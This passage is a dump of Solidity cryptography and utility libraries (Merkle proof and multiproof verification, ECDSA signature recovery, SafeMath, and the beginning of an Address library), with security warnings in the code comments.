pragma solidity ^0.8.20;
import {Hashes} from "./Hashes.sol";
/**
* @dev These functions deal with verification of Merkle Tree proofs.
*
* The tree and the proofs can be generated using our
* https://github.com/OpenZeppelin/merkle-tree[JavaScript library].
* You will find a quickstart guide in the readme.
*
* WARNING: You should avoid using leaf values that are 64 bytes long prior to
* hashing, or use a hash function other than keccak256 for hashing leaves.
* This is because the concatenation of a sorted pair of internal nodes in
* the Merkle tree could be reinterpreted as a leaf value.
* OpenZeppelin's JavaScript library generates Merkle trees that are safe
* against this attack out of the box.
*
* IMPORTANT: Consider memory side-effects when using custom hashing functions
* that access memory in an unsafe way.
*
* NOTE: This library supports proof verification for merkle trees built using
* custom _commutative_ hashing functions (i.e. `H(a, b) == H(b, a)`). Proving
* leaf inclusion in trees built using non-commutative hashing functions requires
* additional logic that is not supported by this library.
*/
library MerkleProof {
/**
*@dev The multiproof provided is not valid.
*/
error MerkleProofInvalidMultiproof();
/**
* @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
* defined by `root`. For this, a `proof` must be provided, containing
* sibling hashes on the branch from the leaf to the root of the tree. Each
* pair of leaves and each pair of pre-images are assumed to be sorted.
*
* This version handles proofs in memory with the default hashing function.
*/
function verify(bytes32[] memory proof, bytes32 root, bytes32 leaf) internal pure returns (bool) {
return processProof(proof, leaf) == root;
}
/**
* @dev Returns the rebuilt hash obtained by traversing a Merkle tree up
* from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt
* hash matches the root of the tree. When processing the proof, the pairs
* of leaves & pre-images are assumed to be sorted.
*
* This version handles proofs in memory with the default hashing function.
*/
function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) {
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
computedHash = Hashes.commutativeKeccak256(computedHash, proof[i]);
}
return computedHash;
}
/**
* @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
* defined by `root`. For this, a `proof` must be provided, containing
* sibling hashes on the branch from the leaf to the root of the tree. Each
* pair of leaves and each pair of pre-images are assumed to be sorted.
*
* This version handles proofs in memory with a custom hashing function.
*/
function verify(
bytes32[] memory proof,
bytes32 root,
bytes32 leaf,
function(bytes32, bytes32) view returns (bytes32) hasher
) internal view returns (bool) {
return processProof(proof, leaf, hasher) == root;
}
/**
* @dev Returns the rebuilt hash obtained by traversing a Merkle tree up
* from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt
* hash matches the root of the tree. When processing the proof, the pairs
* of leaves & pre-images are assumed to be sorted.
*
* This version handles proofs in memory with a custom hashing function.
*/
function processProof(
bytes32[] memory proof,
bytes32 leaf,
function(bytes32, bytes32) view returns (bytes32) hasher
) internal view returns (bytes32) {
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
computedHash = hasher(computedHash, proof[i]);
}
return computedHash;
}
/**
* @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
* defined by `root`. For this, a `proof` must be provided, containing
* sibling hashes on the branch from the leaf to the root of the tree. Each
* pair of leaves and each pair of pre-images are assumed to be sorted.
*
* This version handles proofs in calldata with the default hashing function.
*/
function verifyCalldata(bytes32[] calldata proof, bytes32 root, bytes32 leaf) internal pure returns (bool) {
return processProofCalldata(proof, leaf) == root;
}
/**
* @dev Returns the rebuilt hash obtained by traversing a Merkle tree up
* from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt
* hash matches the root of the tree. When processing the proof, the pairs
* of leaves & pre-images are assumed to be sorted.
*
* This version handles proofs in calldata with the default hashing function.
*/
function processProofCalldata(bytes32[] calldata proof, bytes32 leaf) internal pure returns (bytes32) {
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
computedHash = Hashes.commutativeKeccak256(computedHash, proof[i]);
}
return computedHash;
}
/**
* @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
* defined by `root`. For this, a `proof` must be provided, containing
* sibling hashes on the branch from the leaf to the root of the tree. Each
* pair of leaves and each pair of pre-images are assumed to be sorted.
*
* This version handles proofs in calldata with a custom hashing function.
*/
function verifyCalldata(
bytes32[] calldata proof,
bytes32 root,
bytes32 leaf,
function(bytes32, bytes32) view returns (bytes32) hasher
) internal view returns (bool) {
return processProofCalldata(proof, leaf, hasher) == root;
}
/**
* @dev Returns the rebuilt hash obtained by traversing a Merkle tree up
* from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt
* hash matches the root of the tree. When processing the proof, the pairs
* of leaves & pre-images are assumed to be sorted.
*
* This version handles proofs in calldata with a custom hashing function.
*/
function processProofCalldata(
bytes32[] calldata proof,
bytes32 leaf,
function(bytes32, bytes32) view returns (bytes32) hasher
) internal view returns (bytes32) {
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
computedHash = hasher(computedHash, proof[i]);
}
return computedHash;
}
/**
* @dev Returns true if the `leaves` can be simultaneously proven to be a part of a Merkle tree defined by
* `root`, according to `proof` and `proofFlags` as described in {processMultiProof}.
*
* This version handles multiproofs in memory with the default hashing function.
*
* CAUTION: Not all Merkle trees admit multiproofs. See {processMultiProof} for details.
*
* NOTE: Consider the case where `root == proof[0] && leaves.length == 0` as it will return `true`.
* The `leaves` must be validated independently. See {processMultiProof}.
*/
function multiProofVerify(
bytes32[] memory proof,
bool[] memory proofFlags,
bytes32 root,
bytes32[] memory leaves
) internal pure returns (bool) {
return processMultiProof(proof, proofFlags, leaves) == root;
}
/**
* @dev Returns the root of a tree reconstructed from `leaves` and sibling nodes in `proof`. The reconstruction
* proceeds by incrementally reconstructing all inner nodes by combining a leaf/inner node with either another
* leaf/inner node or a proof sibling node, depending on whether each `proofFlags` item is true or false
* respectively.
*
* This version handles multiproofs in memory with the default hashing function.
*
* CAUTION: Not all Merkle trees admit multiproofs. To use multiproofs, it is sufficient to ensure that: 1) the tree
* is complete (but not necessarily perfect), 2) the leaves to be proven are in the opposite order they are in the
* tree (i.e., as seen from right to left starting at the deepest layer and continuing at the next layer).
*
* NOTE: The _empty set_ (i.e. the case where `proof.length == 1 && leaves.length == 0`) is considered a no-op,
* and therefore a valid multiproof (i.e. it returns `proof[0]`). Consider disallowing this case if you're not
* validating the leaves elsewhere.
*/
function processMultiProof(
bytes32[] memory proof,
bool[] memory proofFlags,
bytes32[] memory leaves
) internal pure returns (bytes32 merkleRoot) {
// This function rebuilds the root hash by traversing the tree up from the leaves. The root is rebuilt by
// consuming and producing values on a queue. The queue starts with the `leaves` array, then goes onto the
// `hashes` array. At the end of the process, the last hash in the `hashes` array should contain the root of
// the Merkle tree.
uint256 leavesLen = leaves.length;
uint256 proofFlagsLen = proofFlags.length;
// Check proof validity.
if (leavesLen + proof.length != proofFlagsLen + 1) {
revert MerkleProofInvalidMultiproof();
}
// The xxxPos values are "pointers" to the next value to consume in each array. All accesses are done using
// `xxx[xxxPos++]`, which return the current value and increment the pointer, thus mimicking a queue's "pop".
bytes32[] memory hashes = new bytes32[](proofFlagsLen);
uint256 leafPos = 0;
uint256 hashPos = 0;
uint256 proofPos = 0;
// At each step, we compute the next hash using two values:
// - a value from the "main queue". If not all leaves have been consumed, we get the next leaf, otherwise we
// get the next hash.
// - depending on the flag, either another value from the "main queue" (merging branches) or an element from the
// `proof` array.
for (uint256 i = 0; i < proofFlagsLen; i++) {
bytes32 a = leafPos < leavesLen ? leaves[leafPos++] : hashes[hashPos++];
bytes32 b = proofFlags[i]
? (leafPos < leavesLen ? leaves[leafPos++] : hashes[hashPos++])
: proof[proofPos++];
hashes[i] = Hashes.commutativeKeccak256(a, b);
}
if (proofFlagsLen > 0) {
if (proofPos != proof.length) {
revert MerkleProofInvalidMultiproof();
}
unchecked {
return hashes[proofFlagsLen - 1];
}
} else if (leavesLen > 0) {
return leaves[0];
} else {
return proof[0];
}
}
/**
* @dev Returns true if the `leaves` can be simultaneously proven to be a part of a Merkle tree defined by
* `root`, according to `proof` and `proofFlags` as described in {processMultiProof}.
*
* This version handles multiproofs in memory with a custom hashing function.
*
* CAUTION: Not all Merkle trees admit multiproofs. See {processMultiProof} for details.
*
* NOTE: Consider the case where `root == proof[0] && leaves.length == 0` as it will return `true`.
* The `leaves` must be validated independently. See {processMultiProof}.
*/
function multiProofVerify(
bytes32[] memory proof,
bool[] memory proofFlags,
bytes32 root,
bytes32[] memory leaves,
function(bytes32, bytes32) view returns (bytes32) hasher
) internal view returns (bool) {
return processMultiProof(proof, proofFlags, leaves, hasher) == root;
}
/**
* @dev Returns the root of a tree reconstructed from `leaves` and sibling nodes in `proof`. The reconstruction
* proceeds by incrementally reconstructing all inner nodes by combining a leaf/inner node with either another
* leaf/inner node or a proof sibling node, depending on whether each `proofFlags` item is true or false
* respectively.
*
* This version handles multiproofs in memory with a custom hashing function.
*
* CAUTION: Not all Merkle trees admit multiproofs. To use multiproofs, it is sufficient to ensure that: 1) the tree
* is complete (but not necessarily perfect), 2) the leaves to be proven are in the opposite order they are in the
* tree (i.e., as seen from right to left starting at the deepest layer and continuing at the next layer).
*
* NOTE: The _empty set_ (i.e. the case where `proof.length == 1 && leaves.length == 0`) is considered a no-op,
* and therefore a valid multiproof (i.e. it returns `proof[0]`). Consider disallowing this case if you're not
* validating the leaves elsewhere.
*/
function processMultiProof(
bytes32[] memory proof,
bool[] memory proofFlags,
bytes32[] memory leaves,
function(bytes32, bytes32) view returns (bytes32) hasher
) internal view returns (bytes32 merkleRoot) {
// This function rebuilds the root hash by traversing the tree up from the leaves. The root is rebuilt by
// consuming and producing values on a queue. The queue starts with the `leaves` array, then goes onto the
// `hashes` array. At the end of the process, the last hash in the `hashes` array should contain the root of
// the Merkle tree.
uint256 leavesLen = leaves.length;
uint256 proofFlagsLen = proofFlags.length;
// Check proof validity.
if (leavesLen + proof.length != proofFlagsLen + 1) {
revert MerkleProofInvalidMultiproof();
}
// The xxxPos values are "pointers" to the next value to consume in each array. All accesses are done using
// `xxx[xxxPos++]`, which return the current value and increment the pointer, thus mimicking a queue's "pop".
bytes32[] memory hashes = new bytes32[](proofFlagsLen);
uint256 leafPos = 0;
uint256 hashPos = 0;
uint256 proofPos = 0;
// At each step, we compute the next hash using two values:
// - a value from the "main queue". If not all leaves have been consumed, we get the next leaf, otherwise we
// get the next hash.
// - depending on the flag, either another value from the "main queue" (merging branches) or an element from the
// `proof` array.
for (uint256 i = 0; i < proofFlagsLen; i++) {
bytes32 a = leafPos < leavesLen ? leaves[leafPos++] : hashes[hashPos++];
bytes32 b = proofFlags[i]
? (leafPos < leavesLen ? leaves[leafPos++] : hashes[hashPos++])
: proof[proofPos++];
hashes[i] = hasher(a, b);
}
if (proofFlagsLen > 0) {
if (proofPos != proof.length) {
revert MerkleProofInvalidMultiproof();
}
unchecked {
return hashes[proofFlagsLen - 1];
}
} else if (leavesLen > 0) {
return leaves[0];
} else {
return proof[0];
}
}
/**
* @dev Returns true if the `leaves` can be simultaneously proven to be a part of a Merkle tree defined by
* `root`, according to `proof` and `proofFlags` as described in {processMultiProof}.
*
* This version handles multiproofs in calldata with the default hashing function.
*
* CAUTION: Not all Merkle trees admit multiproofs. See {processMultiProof} for details.
*
* NOTE: Consider the case where `root == proof[0] && leaves.length == 0` as it will return `true`.
* The `leaves` must be validated independently. See {processMultiProofCalldata}.
*/
function multiProofVerifyCalldata(
bytes32[] calldata proof,
bool[] calldata proofFlags,
bytes32 root,
bytes32[] memory leaves
) internal pure returns (bool) {
return processMultiProofCalldata(proof, proofFlags, leaves) == root;
}
/**
* @dev Returns the root of a tree reconstructed from `leaves` and sibling nodes in `proof`. The reconstruction
* proceeds by incrementally reconstructing all inner nodes by combining a leaf/inner node with either another
* leaf/inner node or a proof sibling node, depending on whether each `proofFlags` item is true or false
* respectively.
*
* This version handles multiproofs in calldata with the default hashing function.
*
* CAUTION: Not all Merkle trees admit multiproofs. To use multiproofs, it is sufficient to ensure that: 1) the tree
* is complete (but not necessarily perfect), 2) the leaves to be proven are in the opposite order they are in the
* tree (i.e., as seen from right to left starting at the deepest layer and continuing at the next layer).
*
* NOTE: The _empty set_ (i.e. the case where `proof.length == 1 && leaves.length == 0`) is considered a no-op,
* and therefore a valid multiproof (i.e. it returns `proof[0]`). Consider disallowing this case if you're not
* validating the leaves elsewhere.
*/
function processMultiProofCalldata(
bytes32[] calldata proof,
bool[] calldata proofFlags,
bytes32[] memory leaves
) internal pure returns (bytes32 merkleRoot) {
// This function rebuilds the root hash by traversing the tree up from the leaves. The root is rebuilt by
// consuming and producing values on a queue. The queue starts with the `leaves` array, then goes onto the
// `hashes` array. At the end of the process, the last hash in the `hashes` array should contain the root of
// the Merkle tree.
uint256 leavesLen = leaves.length;
uint256 proofFlagsLen = proofFlags.length;
// Check proof validity.
if (leavesLen + proof.length != proofFlagsLen + 1) {
revert MerkleProofInvalidMultiproof();
}
// The xxxPos values are "pointers" to the next value to consume in each array. All accesses are done using
// `xxx[xxxPos++]`, which return the current value and increment the pointer, thus mimicking a queue's "pop".
bytes32[] memory hashes = new bytes32[](proofFlagsLen);
uint256 leafPos = 0;
uint256 hashPos = 0;
uint256 proofPos = 0;
// At each step, we compute the next hash using two values:
// - a value from the "main queue". If not all leaves have been consumed, we get the next leaf, otherwise we
// get the next hash.
// - depending on the flag, either another value from the "main queue" (merging branches) or an element from the
// `proof` array.
for (uint256 i = 0; i < proofFlagsLen; i++) {
bytes32 a = leafPos < leavesLen ? leaves[leafPos++] : hashes[hashPos++];
bytes32 b = proofFlags[i]
? (leafPos < leavesLen ? leaves[leafPos++] : hashes[hashPos++])
: proof[proofPos++];
hashes[i] = Hashes.commutativeKeccak256(a, b);
}
if (proofFlagsLen > 0) {
if (proofPos != proof.length) {
revert MerkleProofInvalidMultiproof();
}
unchecked {
return hashes[proofFlagsLen - 1];
}
} else if (leavesLen > 0) {
return leaves[0];
} else {
return proof[0];
}
}
/**
* @dev Returns true if the `leaves` can be simultaneously proven to be a part of a Merkle tree defined by
* `root`, according to `proof` and `proofFlags` as described in {processMultiProof}.
*
* This version handles multiproofs in calldata with a custom hashing function.
*
* CAUTION: Not all Merkle trees admit multiproofs. See {processMultiProof} for details.
*
* NOTE: Consider the case where `root == proof[0] && leaves.length == 0` as it will return `true`.
* The `leaves` must be validated independently. See {processMultiProofCalldata}.
*/
function multiProofVerifyCalldata(
bytes32[] calldata proof,
bool[] calldata proofFlags,
bytes32 root,
bytes32[] memory leaves,
function(bytes32, bytes32) view returns (bytes32) hasher
) internal view returns (bool) {
return processMultiProofCalldata(proof, proofFlags, leaves, hasher) == root;
}
/**
* @dev Returns the root of a tree reconstructed from `leaves` and sibling nodes in `proof`. The reconstruction
* proceeds by incrementally reconstructing all inner nodes by combining a leaf/inner node with either another
* leaf/inner node or a proof sibling node, depending on whether each `proofFlags` item is true or false
* respectively.
*
* This version handles multiproofs in calldata with a custom hashing function.
*
* CAUTION: Not all Merkle trees admit multiproofs. To use multiproofs, it is sufficient to ensure that: 1) the tree
* is complete (but not necessarily perfect), 2) the leaves to be proven are in the opposite order they are in the
* tree (i.e., as seen from right to left starting at the deepest layer and continuing at the next layer).
*
* NOTE: The _empty set_ (i.e. the case where `proof.length == 1 && leaves.length == 0`) is considered a no-op,
* and therefore a valid multiproof (i.e. it returns `proof[0]`). Consider disallowing this case if you're not
* validating the leaves elsewhere.
*/
function processMultiProofCalldata(
bytes32[] calldata proof,
bool[] calldata proofFlags,
bytes32[] memory leaves,
function(bytes32, bytes32) view returns (bytes32) hasher
) internal view returns (bytes32 merkleRoot) {
// This function rebuilds the root hash by traversing the tree up from the leaves. The root is rebuilt by
// consuming and producing values on a queue. The queue starts with the `leaves` array, then goes onto the
// `hashes` array. At the end of the process, the last hash in the `hashes` array should contain the root of
// the Merkle tree.
uint256 leavesLen = leaves.length;
uint256 proofFlagsLen = proofFlags.length;
// Check proof validity.
if (leavesLen + proof.length != proofFlagsLen + 1) {
revert MerkleProofInvalidMultiproof();
}
// The xxxPos values are "pointers" to the next value to consume in each array. All accesses are done using
// `xxx[xxxPos++]`, which return the current value and increment the pointer, thus mimicking a queue's "pop".
bytes32[] memory hashes = new bytes32[](proofFlagsLen);
uint256 leafPos = 0;
uint256 hashPos = 0;
uint256 proofPos = 0;
// At each step, we compute the next hash using two values:
// - a value from the "main queue". If not all leaves have been consumed, we get the next leaf, otherwise we
// get the next hash.
// - depending on the flag, either another value from the "main queue" (merging branches) or an element from the
// `proof` array.
for (uint256 i = 0; i < proofFlagsLen; i++) {
bytes32 a = leafPos < leavesLen ? leaves[leafPos++] : hashes[hashPos++];
bytes32 b = proofFlags[i]
? (leafPos < leavesLen ? leaves[leafPos++] : hashes[hashPos++])
: proof[proofPos++];
hashes[i] = hasher(a, b);
}
if (proofFlagsLen > 0) {
if (proofPos != proof.length) {
revert MerkleProofInvalidMultiproof();
}
unchecked {
return hashes[proofFlagsLen - 1];
}
} else if (leavesLen > 0) {
return leaves[0];
} else {
return proof[0];
}
}
}
ECDSA.sol 180 lines
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.1.0) (utils/cryptography/ECDSA.sol)
pragma solidity ^0.8.20;
/**
* @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.
*
* These functions can be used to verify that a message was signed by the holder
* of the private keys of a given address.
*/
library ECDSA {
enum RecoverError {
NoError,
InvalidSignature,
InvalidSignatureLength,
InvalidSignatureS
}
/**
* @dev The signature derives the `address(0)`.
*/
error ECDSAInvalidSignature();
/**
* @dev The signature has an invalid length.
*/
error ECDSAInvalidSignatureLength(uint256 length);
/**
* @dev The signature has an S value that is in the upper half order.
*/
error ECDSAInvalidSignatureS(bytes32 s);
/**
* @dev Returns the address that signed a hashed message (`hash`) with `signature` or an error. This will not
* return address(0) without also returning an error description. Errors are documented using an enum (error type)
* and a bytes32 providing additional information about the error.
*
* If no error is returned, then the address can be used for verification purposes.
*
* The `ecrecover` EVM precompile allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {MessageHashUtils-toEthSignedMessageHash} on it.
*
* Documentation for signature generation:
* - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js]
* - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers]
*/
function tryRecover(
bytes32 hash,
bytes memory signature
) internal pure returns (address recovered, RecoverError err, bytes32 errArg) {
if (signature.length == 65) {
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly ("memory-safe") {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
return tryRecover(hash, v, r, s);
} else {
return (address(0), RecoverError.InvalidSignatureLength, bytes32(signature.length));
}
}
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature`. This address can then be used for verification purposes.
*
* The `ecrecover` EVM precompile allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {MessageHashUtils-toEthSignedMessageHash} on it.
*/
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
(address recovered, RecoverError error, bytes32 errorArg) = tryRecover(hash, signature);
_throwError(error, errorArg);
return recovered;
}
/**
* @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately.
*
* See https://eips.ethereum.org/EIPS/eip-2098[ERC-2098 short signatures]
*/
function tryRecover(
bytes32 hash,
bytes32 r,
bytes32 vs
) internal pure returns (address recovered, RecoverError err, bytes32 errArg) {
unchecked {
bytes32 s = vs & bytes32(0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff);
// We do not check for an overflow here since the shift operation results in 0 or 1.
uint8 v = uint8((uint256(vs) >> 255) + 27);
return tryRecover(hash, v, r, s);
}
}
/**
* @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately.
*/
function recover(bytes32 hash, bytes32 r, bytes32 vs) internal pure returns (address) {
(address recovered, RecoverError error, bytes32 errorArg) = tryRecover(hash, r, vs);
_throwError(error, errorArg);
return recovered;
}
/**
* @dev Overload of {ECDSA-tryRecover} that receives the `v`,
* `r` and `s` signature fields separately.
*/
function tryRecover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address recovered, RecoverError err, bytes32 errArg) {
// EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
// unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
// the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most
// signatures from current libraries generate a unique signature with an s-value in the lower half order.
//
// If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
// with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
// vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
// these malleable signatures as well.
if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
return (address(0), RecoverError.InvalidSignatureS, s);
}
// If the signature is valid (and not malleable), return the signer address
address signer = ecrecover(hash, v, r, s);
if (signer == address(0)) {
return (address(0), RecoverError.InvalidSignature, bytes32(0));
}
return (signer, RecoverError.NoError, bytes32(0));
}
/**
* @dev Overload of {ECDSA-recover} that receives the `v`,
* `r` and `s` signature fields separately.
*/
function recover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal pure returns (address) {
(address recovered, RecoverError error, bytes32 errorArg) = tryRecover(hash, v, r, s);
_throwError(error, errorArg);
return recovered;
}
/**
* @dev Optionally reverts with the corresponding custom error according to the `error` argument provided.
*/
function _throwError(RecoverError error, bytes32 errorArg) private pure {
if (error == RecoverError.NoError) {
return; // no error: do nothing
} else if (error == RecoverError.InvalidSignature) {
revert ECDSAInvalidSignature();
} else if (error == RecoverError.InvalidSignatureLength) {
revert ECDSAInvalidSignatureLength(uint256(errorArg));
} else if (error == RecoverError.InvalidSignatureS) {
revert ECDSAInvalidSignatureS(errorArg);
}
}
}
SafeMath.sol 245 lines
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.1;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the subtraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
Address.sol 306 lines
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(
address(this).balance >= amount,
"Address: insufficient balance"
);
(bool success, ) = recipient.call{value: amount}("");
require(
success,
"Address: unable to send value, recipient may have reverted"
);
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return
functionCallWithValue(
target,
data,
0,
"Address: low-level call failed"
);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
